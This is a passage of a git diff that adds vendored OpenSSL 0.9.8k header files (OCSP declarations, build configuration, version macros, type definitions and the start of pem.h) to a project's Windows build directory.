*signer, EVP_PKEY *key, const EVP_MD *dgst, + STACK_OF(X509) *certs, unsigned long flags); + +ASN1_STRING *ASN1_STRING_encode(ASN1_STRING *s, i2d_of_void *i2d, + void *data, STACK_OF(ASN1_OBJECT) *sk); +#define ASN1_STRING_encode_of(type,s,i2d,data,sk) \ + ASN1_STRING_encode(s, CHECKED_I2D_OF(type, i2d), data, sk) + +X509_EXTENSION *OCSP_crlID_new(char *url, long *n, char *tim); + +X509_EXTENSION *OCSP_accept_responses_new(char **oids); + +X509_EXTENSION *OCSP_archive_cutoff_new(char* tim); + +X509_EXTENSION *OCSP_url_svcloc_new(X509_NAME* issuer, char **urls); + +int OCSP_REQUEST_get_ext_count(OCSP_REQUEST *x); +int OCSP_REQUEST_get_ext_by_NID(OCSP_REQUEST *x, int nid, int lastpos); +int OCSP_REQUEST_get_ext_by_OBJ(OCSP_REQUEST *x, ASN1_OBJECT *obj, int lastpos); +int OCSP_REQUEST_get_ext_by_critical(OCSP_REQUEST *x, int crit, int lastpos); +X509_EXTENSION *OCSP_REQUEST_get_ext(OCSP_REQUEST *x, int loc); +X509_EXTENSION *OCSP_REQUEST_delete_ext(OCSP_REQUEST *x, int loc); +void *OCSP_REQUEST_get1_ext_d2i(OCSP_REQUEST *x, int nid, int *crit, int *idx); +int OCSP_REQUEST_add1_ext_i2d(OCSP_REQUEST *x, int nid, void *value, int crit, + unsigned long flags); +int OCSP_REQUEST_add_ext(OCSP_REQUEST *x, X509_EXTENSION *ex, int loc); + +int OCSP_ONEREQ_get_ext_count(OCSP_ONEREQ *x); +int OCSP_ONEREQ_get_ext_by_NID(OCSP_ONEREQ *x, int nid, int lastpos); +int OCSP_ONEREQ_get_ext_by_OBJ(OCSP_ONEREQ *x, ASN1_OBJECT *obj, int lastpos); +int OCSP_ONEREQ_get_ext_by_critical(OCSP_ONEREQ *x, int crit, int lastpos); +X509_EXTENSION *OCSP_ONEREQ_get_ext(OCSP_ONEREQ *x, int loc); +X509_EXTENSION *OCSP_ONEREQ_delete_ext(OCSP_ONEREQ *x, int loc); +void *OCSP_ONEREQ_get1_ext_d2i(OCSP_ONEREQ *x, int nid, int *crit, int *idx); +int OCSP_ONEREQ_add1_ext_i2d(OCSP_ONEREQ *x, int nid, void *value, int crit, + unsigned long flags); +int OCSP_ONEREQ_add_ext(OCSP_ONEREQ *x, X509_EXTENSION *ex, int loc); + +int OCSP_BASICRESP_get_ext_count(OCSP_BASICRESP *x); +int OCSP_BASICRESP_get_ext_by_NID(OCSP_BASICRESP *x, int nid, int lastpos); +int OCSP_BASICRESP_get_ext_by_OBJ(OCSP_BASICRESP *x, ASN1_OBJECT *obj, int lastpos); +int OCSP_BASICRESP_get_ext_by_critical(OCSP_BASICRESP *x, int crit, int lastpos); +X509_EXTENSION *OCSP_BASICRESP_get_ext(OCSP_BASICRESP *x, int loc); +X509_EXTENSION *OCSP_BASICRESP_delete_ext(OCSP_BASICRESP *x, int loc); +void *OCSP_BASICRESP_get1_ext_d2i(OCSP_BASICRESP *x, int nid, int *crit, int *idx); +int OCSP_BASICRESP_add1_ext_i2d(OCSP_BASICRESP *x, int nid, void *value, int crit, + unsigned long flags); +int OCSP_BASICRESP_add_ext(OCSP_BASICRESP *x, X509_EXTENSION *ex, int loc); + +int OCSP_SINGLERESP_get_ext_count(OCSP_SINGLERESP *x); +int OCSP_SINGLERESP_get_ext_by_NID(OCSP_SINGLERESP *x, int nid, int lastpos); +int OCSP_SINGLERESP_get_ext_by_OBJ(OCSP_SINGLERESP *x, ASN1_OBJECT *obj, int lastpos); +int OCSP_SINGLERESP_get_ext_by_critical(OCSP_SINGLERESP *x, int crit, int lastpos); +X509_EXTENSION *OCSP_SINGLERESP_get_ext(OCSP_SINGLERESP *x, int loc); +X509_EXTENSION *OCSP_SINGLERESP_delete_ext(OCSP_SINGLERESP *x, int loc); +void *OCSP_SINGLERESP_get1_ext_d2i(OCSP_SINGLERESP *x, int nid, int *crit, int *idx); +int OCSP_SINGLERESP_add1_ext_i2d(OCSP_SINGLERESP *x, int nid, void *value, int crit, + unsigned long flags); +int OCSP_SINGLERESP_add_ext(OCSP_SINGLERESP *x, X509_EXTENSION *ex, int loc); + +DECLARE_ASN1_FUNCTIONS(OCSP_SINGLERESP) +DECLARE_ASN1_FUNCTIONS(OCSP_CERTSTATUS) +DECLARE_ASN1_FUNCTIONS(OCSP_REVOKEDINFO) +DECLARE_ASN1_FUNCTIONS(OCSP_BASICRESP) +DECLARE_ASN1_FUNCTIONS(OCSP_RESPDATA) +DECLARE_ASN1_FUNCTIONS(OCSP_RESPID) +DECLARE_ASN1_FUNCTIONS(OCSP_RESPONSE) +DECLARE_ASN1_FUNCTIONS(OCSP_RESPBYTES) +DECLARE_ASN1_FUNCTIONS(OCSP_ONEREQ) +DECLARE_ASN1_FUNCTIONS(OCSP_CERTID) +DECLARE_ASN1_FUNCTIONS(OCSP_REQUEST) +DECLARE_ASN1_FUNCTIONS(OCSP_SIGNATURE) +DECLARE_ASN1_FUNCTIONS(OCSP_REQINFO) +DECLARE_ASN1_FUNCTIONS(OCSP_CRLID) +DECLARE_ASN1_FUNCTIONS(OCSP_SERVICELOC) + +char *OCSP_response_status_str(long s); +char *OCSP_cert_status_str(long s); +char *OCSP_crl_reason_str(long s); + +int OCSP_REQUEST_print(BIO *bp, OCSP_REQUEST* a, unsigned long flags); +int OCSP_RESPONSE_print(BIO *bp, OCSP_RESPONSE* o, unsigned long flags); + +int OCSP_basic_verify(OCSP_BASICRESP *bs, STACK_OF(X509) *certs, + X509_STORE *st, unsigned long flags); + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_OCSP_strings(void); + +/* Error codes for the OCSP functions. */ + +/* Function codes. */ +#define OCSP_F_ASN1_STRING_ENCODE 100 +#define OCSP_F_D2I_OCSP_NONCE 102 +#define OCSP_F_OCSP_BASIC_ADD1_STATUS 103 +#define OCSP_F_OCSP_BASIC_SIGN 104 +#define OCSP_F_OCSP_BASIC_VERIFY 105 +#define OCSP_F_OCSP_CERT_ID_NEW 101 +#define OCSP_F_OCSP_CHECK_DELEGATED 106 +#define OCSP_F_OCSP_CHECK_IDS 107 +#define OCSP_F_OCSP_CHECK_ISSUER 108 +#define OCSP_F_OCSP_CHECK_VALIDITY 115 +#define OCSP_F_OCSP_MATCH_ISSUERID 109 +#define OCSP_F_OCSP_PARSE_URL 114 +#define OCSP_F_OCSP_REQUEST_SIGN 110 +#define OCSP_F_OCSP_REQUEST_VERIFY 116 +#define OCSP_F_OCSP_RESPONSE_GET1_BASIC 111 +#define OCSP_F_OCSP_SENDREQ_BIO 112 +#define OCSP_F_PARSE_HTTP_LINE1 117 +#define OCSP_F_REQUEST_VERIFY 113 + +/* Reason codes. */ +#define OCSP_R_BAD_DATA 100 +#define OCSP_R_CERTIFICATE_VERIFY_ERROR 101 +#define OCSP_R_DIGEST_ERR 102 +#define OCSP_R_ERROR_IN_NEXTUPDATE_FIELD 122 +#define OCSP_R_ERROR_IN_THISUPDATE_FIELD 123 +#define OCSP_R_ERROR_PARSING_URL 121 +#define OCSP_R_MISSING_OCSPSIGNING_USAGE 103 +#define OCSP_R_NEXTUPDATE_BEFORE_THISUPDATE 124 +#define OCSP_R_NOT_BASIC_RESPONSE 104 +#define OCSP_R_NO_CERTIFICATES_IN_CHAIN 105 +#define OCSP_R_NO_CONTENT 106 +#define OCSP_R_NO_PUBLIC_KEY 107 +#define OCSP_R_NO_RESPONSE_DATA 108 +#define OCSP_R_NO_REVOKED_TIME 109 +#define OCSP_R_PRIVATE_KEY_DOES_NOT_MATCH_CERTIFICATE 110 +#define OCSP_R_REQUEST_NOT_SIGNED 128 +#define OCSP_R_RESPONSE_CONTAINS_NO_REVOCATION_DATA 111 +#define OCSP_R_ROOT_CA_NOT_TRUSTED 112 +#define OCSP_R_SERVER_READ_ERROR 113 +#define OCSP_R_SERVER_RESPONSE_ERROR 114 +#define OCSP_R_SERVER_RESPONSE_PARSE_ERROR 115 +#define OCSP_R_SERVER_WRITE_ERROR 116 +#define OCSP_R_SIGNATURE_FAILURE 117 +#define OCSP_R_SIGNER_CERTIFICATE_NOT_FOUND 118 +#define OCSP_R_STATUS_EXPIRED 125 +#define OCSP_R_STATUS_NOT_YET_VALID 126 +#define OCSP_R_STATUS_TOO_OLD 127 +#define OCSP_R_UNKNOWN_MESSAGE_DIGEST 119 +#define OCSP_R_UNKNOWN_NID 120 +#define OCSP_R_UNSUPPORTED_REQUESTORNAME_TYPE 129 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/opensslconf.h b/winstuff/openssl/opensslconf.h new file mode 100644 index 0000000..bd2646d --- /dev/null +++ b/winstuff/openssl/opensslconf.h @@ -0,0 +1,264 @@ +/* opensslconf.h */ +/* WARNING: Generated automatically from opensslconf.h.in by Configure. */ + +/* OpenSSL was configured with the following options: */ +#ifndef OPENSSL_DOING_MAKEDEPEND + + +#ifndef OPENSSL_NO_CAMELLIA +# define OPENSSL_NO_CAMELLIA +#endif +#ifndef OPENSSL_NO_CAPIENG +# define OPENSSL_NO_CAPIENG +#endif +#ifndef OPENSSL_NO_CMS +# define OPENSSL_NO_CMS +#endif +#ifndef OPENSSL_NO_GMP +# define OPENSSL_NO_GMP +#endif +#ifndef OPENSSL_NO_IDEA +# define OPENSSL_NO_IDEA +#endif +#ifndef OPENSSL_NO_JPAKE +# define OPENSSL_NO_JPAKE +#endif +#ifndef OPENSSL_NO_KRB5 +# define OPENSSL_NO_KRB5 +#endif +#ifndef OPENSSL_NO_MDC2 +# define OPENSSL_NO_MDC2 +#endif +#ifndef OPENSSL_NO_RC5 +# define OPENSSL_NO_RC5 +#endif +#ifndef OPENSSL_NO_RFC3779 +# define OPENSSL_NO_RFC3779 +#endif +#ifndef OPENSSL_NO_SEED +# define OPENSSL_NO_SEED +#endif + +#endif /* OPENSSL_DOING_MAKEDEPEND */ + +#ifndef OPENSSL_THREADS +# define OPENSSL_THREADS +#endif +#ifndef OPENSSL_NO_STATIC_ENGINE +# define OPENSSL_NO_STATIC_ENGINE +#endif + +/* The OPENSSL_NO_* macros are also defined as NO_* if the application + asks for it. This is a transient feature that is provided for those + who haven't had the time to do the appropriate changes in their + applications. */ +#ifdef OPENSSL_ALGORITHM_DEFINES +# if defined(OPENSSL_NO_CAMELLIA) && !defined(NO_CAMELLIA) +# define NO_CAMELLIA +# endif +# if defined(OPENSSL_NO_CAPIENG) && !defined(NO_CAPIENG) +# define NO_CAPIENG +# endif +# if defined(OPENSSL_NO_CMS) && !defined(NO_CMS) +# define NO_CMS +# endif +# if defined(OPENSSL_NO_GMP) && !defined(NO_GMP) +# define NO_GMP +# endif +# if defined(OPENSSL_NO_IDEA) && !defined(NO_IDEA) +# define NO_IDEA +# endif +# if defined(OPENSSL_NO_JPAKE) && !defined(NO_JPAKE) +# define NO_JPAKE +# endif +# if defined(OPENSSL_NO_KRB5) && !defined(NO_KRB5) +# define NO_KRB5 +# endif +# if defined(OPENSSL_NO_MDC2) && !defined(NO_MDC2) +# define NO_MDC2 +# endif +# if defined(OPENSSL_NO_RC5) && !defined(NO_RC5) +# define NO_RC5 +# endif +# if defined(OPENSSL_NO_RFC3779) && !defined(NO_RFC3779) +# define NO_RFC3779 +# endif +# if defined(OPENSSL_NO_SEED) && !defined(NO_SEED) +# define NO_SEED +# endif +#endif + +/* crypto/opensslconf.h.in */ + +#ifdef OPENSSL_DOING_MAKEDEPEND + +/* Include any symbols here that have to be explicitly set to enable a feature + * that should be visible to makedepend. + * + * [Our "make depend" doesn't actually look at this, we use actual build settings + * instead; we want to make it easy to remove subdirectories with disabled algorithms.] + */ + +#ifndef OPENSSL_FIPS +#define OPENSSL_FIPS +#endif + +#endif + +/* Generate 80386 code? */ +#undef I386_ONLY + +#if !(defined(VMS) || defined(__VMS)) /* VMS uses logical names instead */ +#if defined(HEADER_CRYPTLIB_H) && !defined(OPENSSLDIR) +#define ENGINESDIR "/usr/lib/ssl/engines" +#define OPENSSLDIR "/usr/lib/ssl" +#endif +#endif + +#undef OPENSSL_UNISTD +#define OPENSSL_UNISTD + +#undef OPENSSL_EXPORT_VAR_AS_FUNCTION + +#if defined(HEADER_IDEA_H) && !defined(IDEA_INT) +#define IDEA_INT unsigned int +#endif + +#if defined(HEADER_MD2_H) && !defined(MD2_INT) +#define MD2_INT unsigned int +#endif + +#if defined(HEADER_RC2_H) && !defined(RC2_INT) +/* I need to put in a mod for the alpha - eay */ +#define RC2_INT unsigned int +#endif + +#if defined(HEADER_RC4_H) +#if !defined(RC4_INT) +/* using int types make the structure larger but make the code faster + * on most boxes I have tested - up to %20 faster. */ +/* + * I don't know what does "most" mean, but declaring "int" is a must on: + * - Intel P6 because partial register stalls are very expensive; + * - elder Alpha because it lacks byte load/store instructions; + */ +#define RC4_INT unsigned int +#endif +#if !defined(RC4_CHUNK) +/* + * This enables code handling data aligned at natural CPU word + * boundary. See crypto/rc4/rc4_enc.c for further details. + */ +#undef RC4_CHUNK +#endif +#endif + +#if (defined(HEADER_NEW_DES_H) || defined(HEADER_DES_H)) && !defined(DES_LONG) +/* If this is set to 'unsigned int' on a DEC Alpha, this gives about a + * %20 speed up (longs are 8 bytes, int's are 4). */ +#ifndef DES_LONG +#define DES_LONG unsigned long +#endif +#endif + +#if defined(HEADER_BN_H) && !defined(CONFIG_HEADER_BN_H) +#define CONFIG_HEADER_BN_H +#define BN_LLONG + +/* Should we define BN_DIV2W here? */ + +/* Only one for the following should be defined */ +/* The prime number generation stuff may not work when + * EIGHT_BIT but I don't care since I've only used this mode + * for debuging the bignum libraries */ +#undef SIXTY_FOUR_BIT_LONG +#undef SIXTY_FOUR_BIT +#define THIRTY_TWO_BIT +#undef SIXTEEN_BIT +#undef EIGHT_BIT +#endif + +#if defined(HEADER_RC4_LOCL_H) && !defined(CONFIG_HEADER_RC4_LOCL_H) +#define CONFIG_HEADER_RC4_LOCL_H +/* if this is defined data[i] is used instead of *data, this is a %20 + * speedup on x86 */ +#define RC4_INDEX +#endif + +#if defined(HEADER_BF_LOCL_H) && !defined(CONFIG_HEADER_BF_LOCL_H) +#define CONFIG_HEADER_BF_LOCL_H +#undef BF_PTR +#endif /* HEADER_BF_LOCL_H */ + +#if defined(HEADER_DES_LOCL_H) && !defined(CONFIG_HEADER_DES_LOCL_H) +#define CONFIG_HEADER_DES_LOCL_H +#ifndef DES_DEFAULT_OPTIONS +/* the following is tweaked from a config script, that is why it is a + * protected undef/define */ +#ifndef DES_PTR +#define DES_PTR +#endif + +/* This helps C compiler generate the correct code for multiple functional + * units. It reduces register dependancies at the expense of 2 more + * registers */ +#ifndef DES_RISC1 +#define DES_RISC1 +#endif + +#ifndef DES_RISC2 +#undef DES_RISC2 +#endif + +#if defined(DES_RISC1) && defined(DES_RISC2) +YOU SHOULD NOT HAVE BOTH DES_RISC1 AND DES_RISC2 DEFINED!!!!! +#endif + +/* Unroll the inner loop, this sometimes helps, sometimes hinders. + * Very mucy CPU dependant */ +#ifndef DES_UNROLL +#define DES_UNROLL +#endif + +/* These default values were supplied by + * Peter Gutman + * They are only used if nothing else has been defined */ +#if !defined(DES_PTR) && !defined(DES_RISC1) && !defined(DES_RISC2) && !defined(DES_UNROLL) +/* Special defines which change the way the code is built depending on the + CPU and OS. For SGI machines you can use _MIPS_SZLONG (32 or 64) to find + even newer MIPS CPU's, but at the moment one size fits all for + optimization options. Older Sparc's work better with only UNROLL, but + there's no way to tell at compile time what it is you're running on */ + +#if defined( sun ) /* Newer Sparc's */ +# define DES_PTR +# define DES_RISC1 +# define DES_UNROLL +#elif defined( __ultrix ) /* Older MIPS */ +# define DES_PTR +# define DES_RISC2 +# define DES_UNROLL +#elif defined( __osf1__ ) /* Alpha */ +# define DES_PTR +# define DES_RISC2 +#elif defined ( _AIX ) /* RS6000 */ + /* Unknown */ +#elif defined( __hpux ) /* HP-PA */ + /* Unknown */ +#elif defined( __aux ) /* 68K */ + /* Unknown */ +#elif defined( __dgux ) /* 88K (but P6 in latest boxes) */ +# define DES_UNROLL +#elif defined( __sgi ) /* Newer MIPS */ +# define DES_PTR +# define DES_RISC2 +# define DES_UNROLL +#elif defined(i386) || defined(__i386__) /* x86 boxes, should be gcc */ +# define DES_PTR +# define DES_RISC1 +# define DES_UNROLL +#endif /* Systems-specific speed defines */ +#endif + +#endif /* DES_DEFAULT_OPTIONS */ +#endif /* HEADER_DES_LOCL_H */ diff --git a/winstuff/openssl/opensslv.h b/winstuff/openssl/opensslv.h new file mode 100644 index 0000000..c6207f7 --- /dev/null +++ b/winstuff/openssl/opensslv.h @@ -0,0 +1,89 @@ +#ifndef HEADER_OPENSSLV_H +#define HEADER_OPENSSLV_H + +/* Numeric release version identifier: + * MNNFFPPS: major minor fix patch status + * The status nibble has one of the values 0 for development, 1 to e for betas + * 1 to 14, and f for release. The patch level is exactly that. + * For example: + * 0.9.3-dev 0x00903000 + * 0.9.3-beta1 0x00903001 + * 0.9.3-beta2-dev 0x00903002 + * 0.9.3-beta2 0x00903002 (same as ...beta2-dev) + * 0.9.3 0x0090300f + * 0.9.3a 0x0090301f + * 0.9.4 0x0090400f + * 1.2.3z 0x102031af + * + * For continuity reasons (because 0.9.5 is already out, and is coded + * 0x00905100), between 0.9.5 and 0.9.6 the coding of the patch level + * part is slightly different, by setting the highest bit. This means + * that 0.9.5a looks like this: 0x0090581f. At 0.9.6, we can start + * with 0x0090600S... + * + * (Prior to 0.9.3-dev a different scheme was used: 0.9.2b is 0x0922.) + * (Prior to 0.9.5a beta1, a different scheme was used: MMNNFFRBB for + * major minor fix final patch/beta) + */ +#define OPENSSL_VERSION_NUMBER 0x009080bfL +#ifdef OPENSSL_FIPS +#define OPENSSL_VERSION_TEXT "OpenSSL 0.9.8k-fips 25 Mar 2009" +#else +#define OPENSSL_VERSION_TEXT "OpenSSL 0.9.8k 25 Mar 2009" +#endif +#define OPENSSL_VERSION_PTEXT " part of " OPENSSL_VERSION_TEXT + + +/* The macros below are to be used for shared library (.so, .dll, ...) + * versioning. That kind of versioning works a bit differently between + * operating systems. The most usual scheme is to set a major and a minor + * number, and have the runtime loader check that the major number is equal + * to what it was at application link time, while the minor number has to + * be greater or equal to what it was at application link time. With this + * scheme, the version number is usually part of the file name, like this: + * + * libcrypto.so.0.9 + * + * Some unixen also make a softlink with the major verson number only: + * + * libcrypto.so.0 + * + * On Tru64 and IRIX 6.x it works a little bit differently. There, the + * shared library version is stored in the file, and is actually a series + * of versions, separated by colons. The rightmost version present in the + * library when linking an application is stored in the application to be + * matched at run time. When the application is run, a check is done to + * see if the library version stored in the application matches any of the + * versions in the version string of the library itself. + * This version string can be constructed in any way, depending on what + * kind of matching is desired. However, to implement the same scheme as + * the one used in the other unixen, all compatible versions, from lowest + * to highest, should be part of the string. Consecutive builds would + * give the following versions strings: + * + * 3.0 + * 3.0:3.1 + * 3.0:3.1:3.2 + * 4.0 + * 4.0:4.1 + * + * Notice how version 4 is completely incompatible with version, and + * therefore give the breach you can see. + * + * There may be other schemes as well that I haven't yet discovered. + * + * So, here's the way it works here: first of all, the library version + * number doesn't need at all to match the overall OpenSSL version. + * However, it's nice and more understandable if it actually does. + * The current library version is stored in the macro SHLIB_VERSION_NUMBER, + * which is just a piece of text in the format "M.m.e" (Major, minor, edit). + * For the sake of Tru64, IRIX, and any other OS that behaves in similar ways, + * we need to keep a history of version numbers, which is done in the + * macro SHLIB_VERSION_HISTORY. The numbers are separated by colons and + * should only keep the versions that are binary compatible with the current. + */ +#define SHLIB_VERSION_HISTORY "" +#define SHLIB_VERSION_NUMBER "0.9.8" + + +#endif /* HEADER_OPENSSLV_H */ diff --git a/winstuff/openssl/ossl_typ.h b/winstuff/openssl/ossl_typ.h new file mode 100644 index 0000000..0e7a380 --- /dev/null +++ b/winstuff/openssl/ossl_typ.h @@ -0,0 +1,183 @@ +/* ==================================================================== + * Copyright (c) 1998-2001 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@openssl.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.openssl.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ + +#ifndef HEADER_OPENSSL_TYPES_H +#define HEADER_OPENSSL_TYPES_H + +#include + +#ifdef NO_ASN1_TYPEDEFS +#define ASN1_INTEGER ASN1_STRING +#define ASN1_ENUMERATED ASN1_STRING +#define ASN1_BIT_STRING ASN1_STRING +#define ASN1_OCTET_STRING ASN1_STRING +#define ASN1_PRINTABLESTRING ASN1_STRING +#define ASN1_T61STRING ASN1_STRING +#define ASN1_IA5STRING ASN1_STRING +#define ASN1_UTCTIME ASN1_STRING +#define ASN1_GENERALIZEDTIME ASN1_STRING +#define ASN1_TIME ASN1_STRING +#define ASN1_GENERALSTRING ASN1_STRING +#define ASN1_UNIVERSALSTRING ASN1_STRING +#define ASN1_BMPSTRING ASN1_STRING +#define ASN1_VISIBLESTRING ASN1_STRING +#define ASN1_UTF8STRING ASN1_STRING +#define ASN1_BOOLEAN int +#define ASN1_NULL int +#else +typedef struct asn1_string_st ASN1_INTEGER; +typedef struct asn1_string_st ASN1_ENUMERATED; +typedef struct asn1_string_st ASN1_BIT_STRING; +typedef struct asn1_string_st ASN1_OCTET_STRING; +typedef struct asn1_string_st ASN1_PRINTABLESTRING; +typedef struct asn1_string_st ASN1_T61STRING; +typedef struct asn1_string_st ASN1_IA5STRING; +typedef struct asn1_string_st ASN1_GENERALSTRING; +typedef struct asn1_string_st ASN1_UNIVERSALSTRING; +typedef struct asn1_string_st ASN1_BMPSTRING; +typedef struct asn1_string_st ASN1_UTCTIME; +typedef struct asn1_string_st ASN1_TIME; +typedef struct asn1_string_st ASN1_GENERALIZEDTIME; +typedef struct asn1_string_st ASN1_VISIBLESTRING; +typedef struct asn1_string_st ASN1_UTF8STRING; +typedef int ASN1_BOOLEAN; +typedef int ASN1_NULL; +#endif + +#ifdef OPENSSL_SYS_WIN32 +#undef X509_NAME +#undef X509_EXTENSIONS +#undef X509_CERT_PAIR +#undef PKCS7_ISSUER_AND_SERIAL +#undef OCSP_REQUEST +#undef OCSP_RESPONSE +#endif + +#ifdef BIGNUM +#undef BIGNUM +#endif +typedef struct bignum_st BIGNUM; +typedef struct bignum_ctx BN_CTX; +typedef struct bn_blinding_st BN_BLINDING; +typedef struct bn_mont_ctx_st BN_MONT_CTX; +typedef struct bn_recp_ctx_st BN_RECP_CTX; +typedef struct bn_gencb_st BN_GENCB; + +typedef struct buf_mem_st BUF_MEM; + +typedef struct evp_cipher_st EVP_CIPHER; +typedef struct evp_cipher_ctx_st EVP_CIPHER_CTX; +typedef struct env_md_st EVP_MD; +typedef struct env_md_ctx_st EVP_MD_CTX; +typedef struct evp_pkey_st EVP_PKEY; + +typedef struct dh_st DH; +typedef struct dh_method DH_METHOD; + +typedef struct dsa_st DSA; +typedef struct dsa_method DSA_METHOD; + +typedef struct rsa_st RSA; +typedef struct rsa_meth_st RSA_METHOD; + +typedef struct rand_meth_st RAND_METHOD; + +typedef struct ecdh_method ECDH_METHOD; +typedef struct ecdsa_method ECDSA_METHOD; + +typedef struct x509_st X509; +typedef struct X509_algor_st X509_ALGOR; +typedef struct X509_crl_st X509_CRL; +typedef struct X509_name_st X509_NAME; +typedef struct x509_store_st X509_STORE; +typedef struct x509_store_ctx_st X509_STORE_CTX; +typedef struct ssl_st SSL; +typedef struct ssl_ctx_st SSL_CTX; + +typedef struct v3_ext_ctx X509V3_CTX; +typedef struct conf_st CONF; + +typedef struct store_st STORE; +typedef struct store_method_st STORE_METHOD; + +typedef struct ui_st UI; +typedef struct ui_method_st UI_METHOD; + +typedef struct st_ERR_FNS ERR_FNS; + +typedef struct engine_st ENGINE; + +typedef struct X509_POLICY_NODE_st X509_POLICY_NODE; +typedef struct X509_POLICY_LEVEL_st X509_POLICY_LEVEL; +typedef struct X509_POLICY_TREE_st X509_POLICY_TREE; +typedef struct X509_POLICY_CACHE_st X509_POLICY_CACHE; + + /* If placed in pkcs12.h, we end up with a circular depency with pkcs7.h */ +#define DECLARE_PKCS12_STACK_OF(type) /* Nothing */ +#define IMPLEMENT_PKCS12_STACK_OF(type) /* Nothing */ + +typedef struct crypto_ex_data_st CRYPTO_EX_DATA; +/* Callback types for crypto.h */ +typedef int CRYPTO_EX_new(void *parent, void *ptr, CRYPTO_EX_DATA *ad, + int idx, long argl, void *argp); +typedef void CRYPTO_EX_free(void *parent, void *ptr, CRYPTO_EX_DATA *ad, + int idx, long argl, void *argp); +typedef int CRYPTO_EX_dup(CRYPTO_EX_DATA *to, CRYPTO_EX_DATA *from, void *from_d, + int idx, long argl, void *argp); + +typedef struct ocsp_req_ctx_st OCSP_REQ_CTX; +typedef struct ocsp_response_st OCSP_RESPONSE; +typedef struct ocsp_responder_id_st OCSP_RESPID; + +#endif /* def HEADER_OPENSSL_TYPES_H */ diff --git a/winstuff/openssl/pem.h b/winstuff/openssl/pem.h new file mode 100644 index 0000000..6c193f1 --- /dev/null +++ b/winstuff/openssl/pem.h @@ -0,0 +1,782 @@ +/* crypto/pem/pem.h */ +/* Copyright (C) 1995-1997 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef 